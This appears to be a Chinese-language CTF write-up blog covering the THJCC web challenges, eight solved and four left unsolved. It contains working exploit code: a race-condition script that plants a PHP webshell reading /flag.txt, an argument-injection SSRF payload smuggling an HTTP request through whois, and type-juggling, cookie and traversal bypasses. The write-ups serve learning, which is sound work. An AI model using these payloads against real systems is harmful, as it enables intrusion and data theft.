Web 簡單來說就是和網頁網站有關(甚至是網路世界),反正就是各種網路的題目都會在這就是了。
WP完成度: (8/12)
Web分類:
Las Vegas (100)

題目:
Lucky 7 7 7 http://chal.thjcc.org:14514
Ahthor: Frank
解題心得:
這題其實很簡單,點進網站後顯示了一個拉霸機,然後我們嘗試玩玩看:
恩,看起來他一定要我們投擲到777才會有Flag,但我們沒有這麼多的時間慢慢賭機率,所以我們打開F12(開發者工具)來看看,然後點進Network發現每次拉霸都會請求一個?n=XXX這種東西,而那個數字是拉霸機的數字,那我們就可以合理推斷,他應該是透過這樣來取得狀態的。
於是我們直接向後端發送777的請求:
pg72@PGpenguin72:~/Downloads$ curl -X POST http://chal.thjcc.org:14514/\?n\=777What a Lucky man! THJCC{LUcKy_sEVen_ee9cfe0c7fca2c2d}然後我們就得到了Flag!
Flag:
THJCC{LUcKy_sEVen_ee9cfe0c7fca2c2d}
Ear👂 (100)

題目:
Author: Frank
解題心得:
這題是考你是否知道CWE-698-EAR漏洞是什麼,簡單來說就是沒有停止符導致後續代碼的洩漏(應該是可以這樣解釋吧…?),這在Web中會導致嚴重的資安漏洞,那我們就來運用看看吧!
首先查看一下網頁內容:
直接猜猜看admin.php有沒有東西吧,直接使用curl發送請求(Author 是這麼寫的,就是單純猜會有一個管理頁面這樣):
pg72@PGpenguin72:~/Downloads$ curl http://chal.thjcc.org:1234/admin.php<!doctype html><html><head><meta charset="utf-8"><title>Admin Panel</title></head><body><p>Admin Panel</p><p><a href="status.php">Status page</a></p><p><a href="image.php">Image</a></p><p><a href="system.php">Setting</a></p></body>這裡面還有其他的檔案欸,那我們一個一個查閱後會發現只有system.php裡有我們要的Flag:
pgpenguin72@PGpenguin72:~/Downloads$ curl http://chal.thjcc.org:1234/system.php<!doctype html><html><head><meta charset="utf-8"><title>Admin Panel</title></head><body><p>System settings</p><p>THJCC{2cd89747634417ba_U_kNoW-HOw-t0_uSe-EaR}</p></body></html>Flag:
THJCC{2cd89747634417ba_U_kNoW-HOw-t0_uSe-EaR}
My First React (100)

題目:
Author: xiulan
解題心得:
這題很麻煩喔,我們就直接點入網頁:
這個網頁要我們登入,而且還很好心的幫我們填上了guest了,然後我們點Login看看:
恩… 沒啥東西,那我們直接丟 Burp Suite 來分析一下網頁:
NOTE這是一個可以攔截代理服務器的一個工具,還有修改檢查HTTP/HTTPS流量等功能,廣泛用於掃描漏洞和測試滲透。
我發現點擊登入的時候會有一個請求/api/login的部分,然後他回傳的東西很有意思:
{"result":{"role":"guest","username":"guest"},"success":true}這個role看起來很SUS,於是我使用Proxy頁面的Intercept來攔截Response並修改成”admin”:
修改後把所有請求回應Forward出去,Flag就跑出來了:

Flag:
THJCC{CSR_c4n_b3_d4ng3rrr0us!}
A long time ago… (100)

題目:
Author: xiulan
Download Flie
解題心得:
這題我們先點進去看一下網頁:
好的,一開始就告訴我們admin登入已經被取消了,那我們還是一樣試試看:
好看起來是沒辦法的,那接下來去登入為其他user試試看:
恩?我的Flag被管理員的貓吃了???那就按照國際慣例檢查一次cookies和請求,雖然cookie中有個感覺可以做手腳的PHPSESSID,不過在不熟的情況下決定去看看題目附錄檔案好了,於是我下載後就解壓縮看看,裡面果然是網頁原始碼。那就先看看loginController.php吧:
6 collapsed lines
<?phpsession_start();
if ($_SERVER['REQUEST_METHOD'] == 'POST') { $_SESSION['perms'] = [];
if ($_POST['username'] === 'admin') { die("Admin login is permanently disabled."); }8 collapsed lines
$perm_key = $_POST['username']; $_SESSION['perms'][$perm_key] = 'guest_access';
$_SESSION['username'] = $_POST['username']; header('location: /index.php'); die();}這裡發現網站在比對是否為管理員時只有比對是否為admin,然後我們可以發現一件事情,這個比對的等號是三個,也就是嚴格比較,這個東西有個規則是當陣列的 Key 是一個合法的十進位數字字串(舉例為0),PHP 會自動把它強制轉型成 int。
所以系統在執行if ($_POST['username'] === 'admin)',會變成是 if (0 == 'admin'),而php嘗試比較時會把’admin’字串轉型成int,不過由於字串並沒有任何數字,於是判斷式就會變成if (0 == 0),而執行管理員代碼。
那接下來我就不多說了,直接輸入一個數字0來看看,點擊登入:

Flag:
THJCC{Meow_M3ow_Me0w}
Secret File Viewer (100)

題目:
Maybe there are some hidden files beneath the surface… http://chal.thjcc.org:30000/
Author: Grissia
解題心得:
這題其實算簡單了,只不過不知道為什麼當初我為什麼沒寫,好像是以為他很麻煩的樣子…?反正就先解題,國際慣例點開網站:
這裡有三個.txt檔案,名字分別為file_A、file_B、file_C,我就直接簡單地把txt的文字內容打出來了喔:
From: Agent KTo: Agent QSubject: Web Interface Review
Q,
I’ve taken a look at the new web interface you deployed last night.The functionality seems fine, but I’m concerned about how files are being handled.
Exposing file paths through user-controllable parameters is always risky.You know how creative outsiders can be when they start poking around.
Please make sure the client-side logic is solid and add some extrasecurity measures before this goes any further.
We cannot afford careless mistakes this time.
— KFrom: Agent QTo: Agent KSubject: Re: Web Interface Review
K,
No need to worry.
I’ve already implemented additional client-side protections.There is a dedicated script, "script.js" validates file paths, blocks traversalpatterns, and ensures only approved resources can be accessed.
The logic is a bit complex, but that’s intentional.Anyone trying to tamper with the system will be stopped before reachinganything sensitive.
I can personally guarantee that the interface is secure now.
You have my word.
— QFrom: Agent KTo: Agent QSubject: Re: Re: Web Interface Review
Good to hear.
As long as the safeguards are in place, we should be fine.Just remember — under no circumstances should sensitive files be exposed.
This includes internal configurations, shared libraries,and especially the flag file.
If anything like /flag.txt or other critical assets were ever leaked,the consequences would be severe.
Let’s hope your precautions are as effective as you claim.
— K反正上述內容大意我只抓到這兩個:
- 有一個腳本
script.js阻止遍歷所有檔案。 - flag 存在
/flag.txt。
好那就先看網頁本身的Script.js吧!我們直接調用F12,然後點選Sources後找到script.js:
(function () { "use strict";110 collapsed lines
// ====== string table ====== const _0x5a3d = [ "log", "warn", "error", "Security check passed", "Invalid file path detected", "Loading file", "obfuscation.php", "file", "..", "/", "%2e%2e", "base64", "atob", "btoa" ];
function _0x1c9a(i) { return _0x5a3d[i]; }
// ====== security module ====== const SecurityModule = (function () { let state = { validated: false, token: null, timestamp: Date.now() };
function generateToken() { const raw = Math.random().toString(36).substring(2); return window[_0x1c9a(12)](raw); }
function validatePath(path) { if (!path) return false;
// LFI detection if ( path.includes(_0x1c9a(8)) || path.includes(_0x1c9a(10)) || path.split(_0x1c9a(9)).length > 10 ) { console[_0x1c9a(1)](_0x1c9a(4)); return false; }
return true; }
function init() { state.token = generateToken(); state.validated = true; console[_0x1c9a(0)](_0x1c9a(3)); }
return { init, validatePath, state }; })();
// ====== loader ====== function loadFileSecurely(file) { console[_0x1c9a(0)](_0x1c9a(5), file);
if (!SecurityModule.validatePath(file)) { console[_0x1c9a(2)]("Blocked by client-side filter"); return; }
// request construction const fakeUrl = _0x1c9a(6) + "?" + _0x1c9a(7) + "=" + encodeURIComponent(file);
void fakeUrl; }
function entropyNoise() { let x = 0; for (let i = 0; i < 1000; i++) { x ^= Math.random() * i; } return x; }
entropyNoise();
// ====== Init ====== document.addEventListener("DOMContentLoaded", function () { SecurityModule.init();
// Pretend to protect buttons const buttons = document.querySelectorAll("a.btn"); buttons.forEach(btn => { btn.addEventListener("mouseover", function () { const href = btn.getAttribute("href") || ""; loadFileSecurely(href); }); }); });
})();我看了看,好像沒有意義,於是我就在想要怎麼下載Flag…然後我就想到剛剛不是有下載那三個txt檔案嗎?然後就嘗試看看以下網頁鏈結路徑:
http://chal.thjcc.org:30000/download.php?file=files/flag.txthttp://chal.thjcc.org:30000/download.php?file=flag.txt嘗試到第二個的時候就直接成功了,好像有點太簡單了…?只可惜當時沒看到這題要不然還可以再多拿幾分:(
Flag:
THJCC{h0w_dID_y0u_br34k_q'5_pr073c710n???}
No Way Out (100)

題目:
The janitor is fast, and the filter is lethal. You have 0.67 seconds to bypass the exit() trap before your existence is erased.
http://chal.thjcc.org:8080/
Author: Auron
Download Flie
解題心得:
這題先看網頁,網頁上有一些代碼:
這些代碼看不懂,但好像是跳過hacker和退出的指令…?反正先下載zip解壓縮看看。
裡面有start.sh、Dockerfile、docker-compose.yml、src\index.php,但我對php不熟,於是我就詢問了Gemini看看他有什麼建議,他跟我說這題中的start.sh是一個當你創建新檔案時,會在0.67秒內刪除的程序:
#!/bin/bash
( inotifywait -m -r -e create --format '%w%f' /var/www/html | while read NEWFILE do if [ "$(basename "$NEWFILE")" != "index.php" ]; then sleep 0.67 rm -f "$NEWFILE" fi done) &
exec docker-php-entrypoint apache2-foreground而index.php主要攔截了使用base64、rot13、和string_tag,讓我們沒辦法直接使用php指令,而且還會直接在每個指令上面加上<?php exit(); ?>來終止指令:
<?php error_reporting(0); $content = $_POST['content']; $file = $_GET['file'];
if (isset($file) && isset($content)) {
$exit = '<?php exit(); ?>'; $blacklist = ['base64', 'rot13', 'string.strip_tags'];
foreach($blacklist as $b){ if(stripos($file, $b) !== false){ die('Hacker!!!'); } }
file_put_contents($file, $exit . $content);
usleep(50000);
echo 'file written: ' . $file; }
highlight_file(__FILE__);?>於是我們激烈的討論過後,得出我們可以使用UCS-2(一個可以反轉兩個字元順序的編碼)然後先繞過exit(),然後再將我們實際要做的事情(寫入flag檔案),在檔案刪除前的0.6秒多前讀取並輸出。於是我和Gemini一起寫了一個腳本來解決這個問題:
import requestsimport threadingimport osimport time
target = "http://chal.thjcc.org:8080/index.php"shell_url = "http://chal.thjcc.org:8080/shell.php"
# 1. 自動對齊 Payload 生成器# 我們要執行的原始指令cmd = "<?php system('cat /flag.txt');?>"
# 確保 Payload 是偶數長度,如果不是就補一個空格if len(cmd) % 2 != 0: cmd += " "
# 將 Payload 每兩個字元翻轉一次# 例如: "ab" -> "ba"flipped_payload = "".join([cmd[i+1] + cmd[i] for i in range(0, len(cmd), 2)])
print(f"[*] Raw Payload: {cmd}")print(f"[*] Translated: {flipped_payload}")
def write(): # 使用 Session 保持連線,速度會快很多 s = requests.Session() params = { "file": "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php" } data = {"content": flipped_payload} while True: try: s.post(target, params=params, data=data, timeout=1) except: pass
def read(): s = requests.Session() while True: try: r = s.get(shell_url, timeout=1) if "THJCC{" in r.text: print(r.text.strip())
except: pass
def start_race(): # 開 15 個執行緒寫入,15 個執行緒讀取 for _ in range(15): threading.Thread(target=write, daemon=True).start() for _ in range(15): threading.Thread(target=read, daemon=True).start()
while True: time.sleep(1)
if __name__ == "__main__": start_race()然後在Gemini的幫助下,我學習到了php的一些知識並且拿到了Flag!
pg72@PGpenguin72:~/Downloads$ python3 write_read.py[*] Raw Payload: <?php system('cat /flag.txt');?>[*] Translated: ?<hp pystsme'(ac tf/al.gxt't;)>??<hp pxeti)( ;>?THJCC{h4ppy_n3w_y34r_4nd_c0ngr47_u_byp4SS_th7_EXIT_n1ah4wg1n9198w4tqr8926g1n94e92gw65j1n89h21w921g9}Flag:
THJCC{h4ppy_n3w_y34r_4nd_c0ngr47_u_byp4SS_th7_EXIT_n1ah4wg1n9198w4tqr8926g1n94e92gw65j1n89h21w921g9}
who is whois (100)

題目:
who is whois???
http://chal.thjcc.org:13316/
Author: 夜有夢
Download Flie
解題心得:
這題看起來和whois這個查詢網域資訊內容相關的感覺,反正就先看網頁:
恩…看起來就很單純,我試試看查詢我的網域:
也很正常,那直接研究壓縮包裡面的東西好了,我發現裡面主要代碼是app.py:
from flask import Flask, request, render_template_stringimport subprocess, shleximport pyotpimport base64
app = Flask(__name__)
INDEX_HTML = """<!doctype html><html lang="zh-Hant"><head> <meta charset="utf-8"> <title>Whois 查詢</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> body { font-family: monospace; margin: 2rem; } form { margin-bottom: 1rem; } input[type=text]{ width: 36rem; max-width: 100%; padding: .5rem; } button{ padding: .5rem 1rem; } pre { white-space: pre-wrap; word-wrap: break-word; background:#f4f4f4; padding:1rem; border-radius:.5rem; } .argv{ color:#555; font-size:.9rem; } </style></head><body> <h1>Whois 查詢</h1> <form method="POST" action="/whois"> <label>Domain name <input name="domain" type="text" placeholder="example.com" required> </label> <button type="submit">查詢</button> </form> {% if result is not none %} <h2>結果</h2> <pre>{{ result }}</pre> {% elif error is not none %} <h2>錯誤</h2> <pre>{{ error }}</pre> {% endif %}</body></html>"""FLAG_VALUE = "THJCC{fake_flag_for_test}"LOCAL_IPS = {"127.0.0.1", "::1"}
_ENC_SECRET = "Jl5cLlcsI10sKCYhLS40IykpMyQnIF8wIjEtPTM6OzI="_XOR_KEY = "thjcc"
def _xor_decode(data: str, key: str) -> str: raw = base64.b64decode(data) return "".join(chr(b ^ ord(key[i % len(key)])) for i, b in enumerate(raw))
def _get_totp_secret(): return _xor_decode(_ENC_SECRET, _XOR_KEY)
def _deny(msg: str, code: int = 403): return (msg + "\n", code, {"Content-Type": "text/plain; charset=utf-8"})
@app.route("/", methods=["GET"])def index(): return render_template_string(INDEX_HTML, result=None, error=None, argv=None)
@app.route("/whois", methods=["POST"])def whois_lookup(): raw = request.form.get("domain", "").strip() if not raw: return render_template_string(INDEX_HTML, result=None, error="缺少參數", argv=None), 400
try: args = ["whois"] + shlex.split(raw) proc = subprocess.run(args, capture_output=True, text=True, timeout=15) except subprocess.TimeoutExpired: return render_template_string(INDEX_HTML, result=None, error="查詢逾時", argv=" ".join(args)), 504 except Exception as e: return render_template_string(INDEX_HTML, result=None, error=str(e), argv=" ".join(args) if 'args' in locals() else None), 500
if proc.returncode != 0: return render_template_string(INDEX_HTML, result=None, error=proc.stderr or "whois 執行失敗", argv=" ".join(args)), 500
return render_template_string(INDEX_HTML, result=proc.stdout, error=None, argv=" ".join(args))
@app.route("/flag", methods=["POST"])def flag(): if request.remote_addr not in LOCAL_IPS: return _deny("error: local only", 403)
if request.headers.get("admin", "") != "thjcc": return _deny("error: missing/invalid admin header", 403)
safekey = request.form.get("safekey", "").strip() if not safekey: return _deny("error: missing safekey", 400)
totp = pyotp.TOTP(_get_totp_secret()) if not totp.verify(safekey): return _deny("error: invalid totp", 403)
return (FLAG_VALUE + "\n", 200, {"Content-Type": "text/plain; charset=utf-8"})
if __name__ == "__main__": app.run(host="0.0.0.0", port=13316)這裡代碼有幾個重點:
- 網站有一個
/whois可以用來post並獲取whois的查詢資料。 - 網站有一個
/flag可以用來post,但是只能用於local。 - 想調用flag需要過
TOTP驗證。
於是我依照這兩個思路開始想,我想到這應該和代碼注入有關,簡單來說就是網頁有一個調用whois的部分,那我可以透過這個發送一個調用並且同時調取/flag路由,這樣對伺服器來說就是透過主機內部調取了。
不過我並不會寫這個的相關指令,於是又詢問了Gemini,最後他幫我寫了一個powershell 腳本,然後我也把TOTP的解密也解決了:
# 1. 填入你剛剛新鮮產生的 TOTP 驗證碼 (請確保在 30 秒內執行)$totp = "填入新的6位數字"
# 2. 構造 Payload(注意結尾的雙引號已經修正,並使用 PowerShell 的跳脫字元 `"`)$domain = "-h 127.0.0.1 -p 13316 `"POST /flag HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aadmin: thjcc%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 14%0d%0a%0d%0asafekey=$totp`""
# 3. 發送請求 (加入 -UseBasicParsing 避免惱人的警告)$response = Invoke-WebRequest ` -Uri "http://chal.thjcc.org:13316/whois" ` -Method POST ` -Body "domain=$domain" ` -ContentType "application/x-www-form-urlencoded" ` -UseBasicParsing
# 4. 提取並顯示 <pre> 標籤中的伺服器內部回應if ($response.Content -match '(?s)<pre>(.*?)</pre>') { Write-Host "伺服器回應結果:" -ForegroundColor Cyan Write-Host $matches[1] -ForegroundColor Green} else { Write-Host "未找到結果,完整原始碼如下:" Write-Host $response.Content}import base64, pyotp
_ENC_SECRET = "Jl5cLlcsI10sKCYhLS40IykpMyQnIF8wIjEtPTM6OzI="_XOR_KEY = "thjcc"
def _xor_decode(data: str, key: str) -> str: raw = base64.b64decode(data) return "".join(chr(b ^ ord(key[i % len(key)])) for i, b in enumerate(raw))
secret = _xor_decode(_ENC_SECRET, _XOR_KEY)print("secret =", secret)
totp = pyotp.TOTP(secret)print("current code =", totp.now())運行畫面:

Flag:
THJCC{yeyoumeng_Wh0i5_SsRf}
0422 (100)

題目:
A very simple challenge about a web exploit.
Really simple. LOL.
http://chal.thjcc.org:3000/
Author: UmmIt Kin
解題心得:
這題也是一個非常簡單的題目,我們來直接看網站:
這是一個登入介面,我們首先先嘗試看看admin admin這組帳密:
看起來失敗了,那我們就直街打開F12來看看,首先我想到的是先去確認Cookies,於是我就打開Application\Cookies\http://chal.thjcc.org:3000,然後看到了這個:
裡面有一個role的資料,上面寫著我是guest,於是我直接把它改成admin後重新整理網頁,於是:

Flag:
THJCC{c00k135_4r3_n07_53cur3_1f_n07_51gn3d_4nd_p13453_d0_7h3_53cur3_c0d1ng_r3v13w_101111
-msgboard (356)

題目:
Download Flie
解題心得:
好吧這題其實沒有解出來,還在學習中,等學好了再放上來!
Flag:
THJCC{}
-Simple Hack (410)

題目:
We developed a file upload platform. I think it is really secure. Isn’t it? http://chal.thjcc.org:5222/
Author: UmmIt Kin
解題心得:
好吧這題其實沒有解出來,還在學習中,等學好了再放上來!
Flag:
THJCC{}
-noaiiiiiiiiiiiiiii (100)

題目:
i hate ai (except my bot daughter) : ( it is a ctf challenge for human have a nice play (btw Look closely, it’s a bit of an old joke.)
http://chal.thjcc.org:3001 <------------
Author: Syuan
解題心得:
好吧這題其實沒有解出來,還在學習中,等學好了再放上來!
Flag:
THJCC{}
-r2s (436)

題目:
Should I upgrade my web server?
I’m too lazy. nvm, lol.
It should be safe enough?
http://chal.thjcc.org:10200/
Author: UmmIt Kin
解題心得:
好吧這題其實沒有解出來,還在學習中,等學好了再放上來!
Flag:
THJCC{}